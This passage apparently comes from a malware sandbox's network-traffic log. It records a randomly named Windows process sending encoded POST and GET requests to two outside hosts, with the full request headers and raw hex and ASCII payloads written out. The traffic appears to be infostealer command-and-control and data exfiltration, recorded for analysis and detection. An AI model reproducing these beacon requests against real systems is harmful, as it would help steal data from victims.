16 b0 dd [TRUNCATED] Data Ascii: 2b9\|SKk@62YZINZB}ZW-J/yHCM(+BW7\|3;M,:6X~p{Np<JUgkBmiHVh@]pa%vFEbnc&sZ%rl7\ 1cd2`CiURR1dU((d0,Vu$d4PS`wb]y>cc@;>N90M\|>WNAA6<!yve9(q`" B\|PxUTsPbi@# 7G,;/SQ3ag{Rg\|<bW(b[G8(fnva8
Oct 19, 2024 12:57:22.531152010 CEST	276	IN	Data Raw: 89 49 2d a5 3c 33 99 c5 48 5d 86 c9 cc f8 11 90 27 41 62 2e d5 8c a3 01 ae af 1a 16 a6 60 69 85 2b 82 ac 86 63 15 1b cb 2c 9f 1b 95 8f 4f f7 a7 e3 c1 92 2e a4 9d d1 bd 24 43 9e 54 7d 2f 24 94 78 ae 12 60 1b 51 d2 c2 0c 2d a4 68 9e 59 44 5c 1c 74 Data Ascii: I-<3H]'Ab.`i+c,O.$CT}/$x`Q-hYD\tO=_GYb<<k V<67k'fMpI9]$o?\|%4Ik*fMFa2tmQ4KCT?/7v[_Nw~m.?}:?)J&Egvx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49873	172.67.181.186	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 12:57:24.191217899 CEST	10953	OUT	POST /uy9i/ HTTP/1.1 Host: www.hcpf.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 10302 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.hcpf.xyz Referer: http://www.hcpf.xyz/uy9i/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED) Data Raw: 32 42 57 44 47 3d 4e 35 67 6e 38 51 73 30 37 7a 6e 73 6d 4a 38 4d 78 73 59 4d 44 71 61 2b 6e 49 74 35 63 56 38 4e 44 43 37 79 32 54 76 45 59 6f 78 2b 6a 54 63 73 41 4a 71 61 6d 30 72 44 6c 44 6a 50 62 67 49 35 56 71 64 64 45 5a 55 56 6b 46 48 61 2f 39 52 31 44 46 31 4d 47 69 2f 6e 34 79 7a 44 34 65 35 38 4e 71 48 52 78 57 39 72 6c 73 79 34 73 45 6b 33 63 46 4d 42 4a 6e 34 30 61 52 62 70 49 38 71 4b 75 4e 67 32 30 32 75 43 6d 45 72 2f 38 44 6e 48 54 55 4d 6f 35 77 70 34 2f 59 71 73 36 77 59 4a 36 6a 53 51 31 7a 56 56 79 67 6b 42 58 31 34 66 68 76 31 2b 50 57 6f 6c 33 42 39 30 62 38 36 63 4c 4e 59 6d 6f 78 77 44 50 68 74 37 6c 6b 4c 6c 4c 48 58 51 76 65 62 78 55 4a 63 68 30 35 76 43 38 4e 4c 74 46 6d 6c 55 41 49 42 47 6b 6c 55 61 77 59 7a 63 4e 76 6a 4d 39 6d 41 71 73 71 52 68 62 54 33 74 71 47 51 73 6f 74 51 34 69 2f 51 6e 79 38 6e 53 71 45 72 4f 4d 78 77 74 6b 4e 73 57 36 38 34 36 2f 43 76 6c 66 43 7a 35 73 4b 55 70 71 7a 6e 2f 78 4f 67 4a 54 66 32 6e 31 44 36 77 6e 5a 41 4f 78 44 31 57 54 77 4a 6a [TRUNCATED] Data Ascii: 2BWDG=N5gn8Qs07znsmJ8MxsYMDqa+nIt5cV8NDC7y2TvEYox+jTcsAJqam0rDlDjPbgI5VqddEZUVkFHa/9R1DF1MGi/n4yzD4e58NqHRxW9rlsy4sEk3cFMBJn40aRbpI8qKuNg202uCmEr/8DnHTUMo5wp4/Yqs6wYJ6jSQ1zVVygkBX14fhv1+PWol3B90b86cLNYmoxwDPht7lkLlLHXQvebxUJch05vC8NLtFmlUAIBGklUawYzcNvjM9mAqsqRhbT3tqGQsotQ4i/Qny8nSqErOMxwtkNsW6846/CvlfCz5sKUpqzn/xOgJTf2n1D6wnZAOxD1WTwJjI/Rjm8D7HuQcU4udUCQWbW2eADufctcFbxFCZQuUCaB1teIYxuKdR9XvsXKU7o9k2FTeC7gHfTKlfb429DIPGDDNxSbEBaJtYV41J3/72BDfhNG5xO0FyB9U1VtnpHqcvrwRbeOksiyB/XC9UQ7zRSbyld4z6vV8KAReK5NryIfn8J+efL9op+Q+0upjBkIW+tCFf3ZBPui+eljQGObfCPf6EOdXDtfckwmB7alXdgOmVfCl9MEkGRxS0aZEwakpMjRckvLZt+jB5okDVuGb9jBmg3A339ChUU8/B40WvyUiEIlePDmArSPcZODJ50aNajR0xkC02F+xIR6tMerv9ZV8o8D221QvNMP3Y3e1KH85Zkn/pCdZyQkkwMntJy+CW9vrvcaMKd+sO7jvvOvAEHdpOC8nC36JfhMj+pWzfhKgU9c2+x++b2ra2VC0r6sZbSenvyng2h8xNJiVTk6KWm/2hMGGiCcXvX/InULdy8f0RA4d7jS/d9aaQwv9JvYkzcAw2aw29WHMLKLiu6LogMTQ68TwNgcqKDkvwdEd4FgZwZITPGItYFvFNtTkZsUfC2wZtQEu91+ZVXnte56WsMUT0Fyk4yJQmUa8tl+U9ql02UrtY5CLHPz6ci4qIIfaj6tPVGwxGDx2O9+nFShtTOKmTrdIir7e3s [TRUNCATED]
Oct 19, 2024 12:57:25.081526995 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Sat, 19 Oct 2024 10:57:25 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close X-Powered-By: ASP.NET cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=goE3%2BRYobqylU7ctcI36hS1eL5y24WeXlhauy2UrQ2dsijJgI34Xyl6OTCdd50PVcdJ68772faGy%2Bvhd2GVV82iKGtTWcrOWmcFuMWC0jL157cSL736%2BMFwL5DW%2F4iI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d503f418f550baf-DFW Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1143&sent=5&recv=11&lost=0&retrans=0&sent_bytes=0&recv_bytes=10953&delivery_rate=0&cwnd=243&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 32 63 35 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7c 53 4b 6b db 40 10 be 1b fc 1f 36 32 b9 59 5a 49 4e d2 5a 92 05 ad 93 90 42 d2 86 c6 7d 1d d7 d2 da 5a aa 57 a5 8d 2d d7 e4 c7 94 dc 4a 2f 79 d1 80 d3 06 1a 13 48 0e 81 b8 09 bd b4 f4 dc 43 0f 4d 0f 85 be 28 2b c9 b2 13 42 57 a0 d9 c7 37 df 7c 33 3b ab 4d cc de ab d6 9e 2c cf 01 8b 3a 36 58 7e 70 7b f1 4e 15 70 3c 84 8f 4a 55 08 67 6b b3 e0 f1 42 6d 69 11 48 82 08 56 68 40 0c 0a e1 dc 5d 0e 70 16 a5 be 02 61 bb dd 16 da 25 c1 0b 9a b0 76 1f 46 8c 45 62 6e e9 94 0f 63 1f c1 a4 26 a7 e7 73 5a 1c 25 72 6c 37 ac 5c c3 20 95 cb e5 c4 31 01 63 64 32 eb 60 8a 00 43 f3 f8 d9 2a 69 55 b8 aa e7 52 ec 52 be d6 f1 31 07 8c 64 55 e1 28 8e 28 64 de 2a 30 2c 14 84 98 56 9a 75 b9 24 c9 1c 64 34 94 50 1b eb 53 e2 14 e0 c1 f9 60 b3 b7 f3 e6 a4 bf f7 b7 77 d1 df 7f b7 f7 62 5d 83 c9 79 3e a7 85 b4 63 63 40 3b 3e 4e 39 8d 30 8c 05 4d f0 7c 3e 57 f7 cc 4e d7 41 41 93 b8 8a a8 36 3c 97 f2 21 79 8e 15 e1 06 76 92 65 03 39 c4 ee 28 0f 71 60 22 17 15 c1 ad 80 20 bb 08 16 b0 dd [TRUNCATED] Data Ascii: 2c5\|SKk@62YZINZB}ZW-J/yHCM(+BW7\|3;M,:6X~p{Np<JUgkBmiHVh@]pa%vFEbnc&sZ%rl7\ 1cd2`CiURR1dU((d0,Vu$d4PS`wb]y>cc@;>N90M\|>WNAA6<!yve9(q`" B\|PxUTsPbi@# 7G,;/SQ3ag{Rg\|<bW(b[G8(fn
Oct 19, 2024 12:57:25.081568003 CEST	276	IN	Data Raw: 76 61 38 e8 b6 89 49 2d a5 3c 33 99 c5 48 5d 86 c9 cc f8 11 90 27 41 62 2e d5 8c a3 01 ae af 1a 16 a6 60 69 85 2b 82 ac 86 63 15 1b cb 2c 9f 1b 95 8f 4f f7 a7 e3 c1 92 2e a4 9d d1 bd 24 43 9e 54 7d 2f 24 94 78 ae 12 60 1b 51 d2 c2 0c 2d a4 68 9e Data Ascii: va8I-<3H]'Ab.`i+c,O.$CT}/$x`Q-hYD\tO=_GYb<<k V<67k'fMpI9]$o?\|%4Ik*fMFa2tmQ4KCT?/7v[_Nw~m.?}:?)J&E

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49888	172.67.181.186	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 12:57:26.733472109 CEST	591	OUT	GET /uy9i/?2BWDG=A7IH/mkAt1Xlqot58OI0S8+25JAud1UhEF7OmTb3ULNYiQ53L6C3hDLglTjiGws4A/oSTbY/vB+Y5OcBKWIDb0nFjD7/puJZKInM70o9vL6/qU8mcXMhaE0=&wfm=G6oTo8vx HTTP/1.1 Host: www.hcpf.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED)
Oct 19, 2024 12:57:27.617151976 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Sat, 19 Oct 2024 10:57:27 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close X-Powered-By: ASP.NET cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7Yp%2BuPXk4Ewivba0Thsmx5AiY0fPiprTwwnECdc69L2I%2BN7Uj06ID9pfnUoNN%2B6Ztv4UBnUMRAQiky2Rj7%2B%2BNpECYqDhE2XdzIzjhwaDTRY88QIjqYkSQBWow%2FIUGzQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d503f5168b46c10-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1154&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=591&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 38 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 [TRUNCATED] Data Ascii: 48b<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"/><title>404 - </title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4e
Oct 19, 2024 12:57:27.617203951 CEST	707	IN	Data Raw: 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a Data Ascii: m;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;b

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49919	104.223.44.195	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 12:57:32.919644117 CEST	875	OUT	POST /czzt/ HTTP/1.1 Host: www.kerennih31.click Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 202 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.kerennih31.click Referer: http://www.kerennih31.click/czzt/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED) Data Raw: 32 42 57 44 47 3d 48 43 69 6d 37 6f 72 30 65 6c 4e 4f 55 79 38 42 31 53 63 38 7a 42 44 77 46 37 2b 4c 57 43 61 2b 6b 35 74 57 38 6b 74 75 78 54 4f 76 4c 62 55 68 4c 77 56 67 50 75 50 73 46 55 49 39 41 4a 58 47 4c 48 71 2b 6c 70 70 63 42 54 5a 55 50 6c 7a 4d 6b 5a 73 5a 37 79 61 7a 58 70 65 43 2b 43 6c 61 6e 42 43 4a 2b 4e 48 59 56 36 44 72 52 6e 31 79 6b 31 4a 4e 62 44 62 7a 45 65 38 34 71 71 4f 73 41 6c 31 34 44 50 38 65 38 45 4f 47 77 66 42 6a 55 59 6d 50 44 6b 74 4b 76 2b 69 47 53 77 34 51 64 38 31 75 78 6a 31 62 75 4b 4a 65 4e 77 34 30 6b 41 4f 51 43 4d 64 75 49 35 59 73 69 56 33 2f 61 51 3d 3d Data Ascii: 2BWDG=HCim7or0elNOUy8B1Sc8zBDwF7+LWCa+k5tW8ktuxTOvLbUhLwVgPuPsFUI9AJXGLHq+lppcBTZUPlzMkZsZ7yazXpeC+ClanBCJ+NHYV6DrRn1yk1JNbDbzEe84qqOsAl14DP8e8EOGwfBjUYmPDktKv+iGSw4Qd81uxj1buKJeNw40kAOQCMduI5YsiV3/aQ==
Oct 19, 2024 12:57:33.502212048 CEST	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Sat, 19 Oct 2024 10:57:33 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49935	104.223.44.195	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 12:57:35.471951962 CEST	895	OUT	POST /czzt/ HTTP/1.1 Host: www.kerennih31.click Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 222 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.kerennih31.click Referer: http://www.kerennih31.click/czzt/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED) Data Raw: 32 42 57 44 47 3d 48 43 69 6d 37 6f 72 30 65 6c 4e 4f 58 53 73 42 35 52 45 38 31 68 44 2f 5a 4c 2b 4c 63 69 61 6c 6b 35 78 57 38 6d 42 41 6b 31 2b 76 4c 2f 59 68 49 79 74 67 4f 75 50 73 50 30 4a 33 4f 70 58 4e 4c 48 6d 63 6c 70 6c 63 42 54 64 55 50 6e 72 4d 6c 71 45 57 36 69 61 78 43 5a 65 41 7a 69 6c 61 6e 42 43 4a 2b 4e 44 79 56 35 7a 72 52 53 39 79 6c 51 70 4f 53 6a 62 30 44 65 38 34 35 36 4f 77 41 6c 30 56 44 4f 51 34 38 42 4b 47 77 61 74 6a 61 71 65 41 4a 6b 73 50 79 4f 6a 4d 64 6c 6c 66 64 4d 77 41 37 6a 6b 37 6d 61 63 34 46 57 70 75 31 78 76 48 51 4d 35 64 56 2b 52 59 76 57 4b 32 42 56 42 43 45 51 78 30 6a 79 76 30 43 42 76 4c 54 46 76 39 32 53 49 3d Data Ascii: 2BWDG=HCim7or0elNOXSsB5RE81hD/ZL+Lcialk5xW8mBAk1+vL/YhIytgOuPsP0J3OpXNLHmclplcBTdUPnrMlqEW6iaxCZeAzilanBCJ+NDyV5zrRS9ylQpOSjb0De8456OwAl0VDOQ48BKGwatjaqeAJksPyOjMdllfdMwA7jk7mac4FWpu1xvHQM5dV+RYvWK2BVBCEQx0jyv0CBvLTFv92SI=
Oct 19, 2024 12:57:36.075556993 CEST	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Sat, 19 Oct 2024 10:57:35 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49950	104.223.44.195	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 12:57:38.022330046 CEST	10977	OUT	POST /czzt/ HTTP/1.1 Host: www.kerennih31.click Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 10302 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.kerennih31.click Referer: http://www.kerennih31.click/czzt/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED) Data Raw: 32 42 57 44 47 3d 48 43 69 6d 37 6f 72 30 65 6c 4e 4f 58 53 73 42 35 52 45 38 31 68 44 2f 5a 4c 2b 4c 63 69 61 6c 6b 35 78 57 38 6d 42 41 6b 31 32 76 4c 4d 51 68 4b 56 35 67 4e 75 50 73 52 6b 4a 30 4f 70 58 51 4c 47 4f 59 6c 70 35 6d 42 56 42 55 4a 45 6a 4d 74 37 45 57 7a 69 61 78 64 4a 65 42 2b 43 6c 31 6e 42 53 4e 2b 4d 7a 79 56 35 7a 72 52 56 4e 79 67 31 4a 4f 55 6a 62 7a 45 65 38 43 71 71 4f 4d 41 68 59 72 44 4f 6b 4f 2f 79 43 47 77 36 39 6a 57 2f 79 41 42 6b 73 4e 78 4f 69 5a 64 6c 67 66 64 4d 73 6d 37 67 35 73 6d 59 41 34 42 6a 45 45 70 67 66 4e 42 64 49 41 47 76 78 74 73 30 32 42 4f 6d 4e 5a 4e 6a 31 71 34 6a 6e 4b 46 44 48 50 48 41 2b 35 76 6b 74 53 62 43 4f 53 70 6e 66 73 38 35 51 61 6d 78 79 63 4b 39 39 61 33 6e 6b 30 69 6a 78 52 70 2b 39 7a 6f 4e 32 72 70 2f 50 34 62 59 78 34 75 6e 6c 71 6c 6b 41 43 44 6b 66 4c 49 41 72 65 6b 79 58 6b 43 33 4a 39 79 38 46 4f 4a 47 55 75 33 64 44 44 5a 69 74 49 31 53 42 63 44 6a 50 46 67 57 70 4e 56 4e 52 59 48 49 6d 55 4e 38 58 6d 41 69 4c 58 42 54 6c 73 [TRUNCATED] Data Ascii: 2BWDG=HCim7or0elNOXSsB5RE81hD/ZL+Lcialk5xW8mBAk12vLMQhKV5gNuPsRkJ0OpXQLGOYlp5mBVBUJEjMt7EWziaxdJeB+Cl1nBSN+MzyV5zrRVNyg1JOUjbzEe8CqqOMAhYrDOkO/yCGw69jW/yABksNxOiZdlgfdMsm7g5smYA4BjEEpgfNBdIAGvxts02BOmNZNj1q4jnKFDHPHA+5vktSbCOSpnfs85QamxycK99a3nk0ijxRp+9zoN2rp/P4bYx4unlqlkACDkfLIArekyXkC3J9y8FOJGUu3dDDZitI1SBcDjPFgWpNVNRYHImUN8XmAiLXBTlsfErWePBbTAGNjKtBAf6MkeIqGtV6dlf0sAiD56uuOpZq9+SnX5vTHc0urxG8LREdAA2B7sX5pigeMT1dDjp7h9joIDXhqAg2rgNMT9JY0HaLlGLyOHY8ZlvjUjFFLXVlbwSlayTp1kl9jgvN3Jun0kwhxQzEOWPO79K27vrOpr/zx1iburEyPJvmtAaWlquDLI7pJBvMNqcSXJ/CzVDgLtLSq5zs1uyiglaoqxYis6AfnVng2eKWNFhlIwSVEsOdP7R4+EDPw2/GA6va4iF2wu2lTjicywMmTTMwClBbzSe+QagCV/z5zGO0XCIsMMUqx1/XumpvVjz6W/fiDT3CmUhhUYEsU0bRg0Z76KL47BFQHAQwhE5aH/JltO094vI1dFzfL02I1GxirDP8PadPFIBYRscwqmXXiSsp73GpKyQKg6Sum4+S1sJoaglYsCZz3hxdTE59/8SICD8fzm7BUePOCym//CJ4RK82mRm4m7heUlfKJXER8/R9EmNeGTaUaHhuW+e+lC4wTpsRndq8DmJRdIju3k76w9B/Bci+P/37WYe2/zry5f9quyOufumY5/fOjMNRdCIjVmtMzc0XW4pHQ+2gfi+s7abEk5uFRHJQXWTe1MtQDG3GgN4KIzWw5DGW4H4Um1czMq2kpiF5XjVGtrmW520tCj [TRUNCATED]
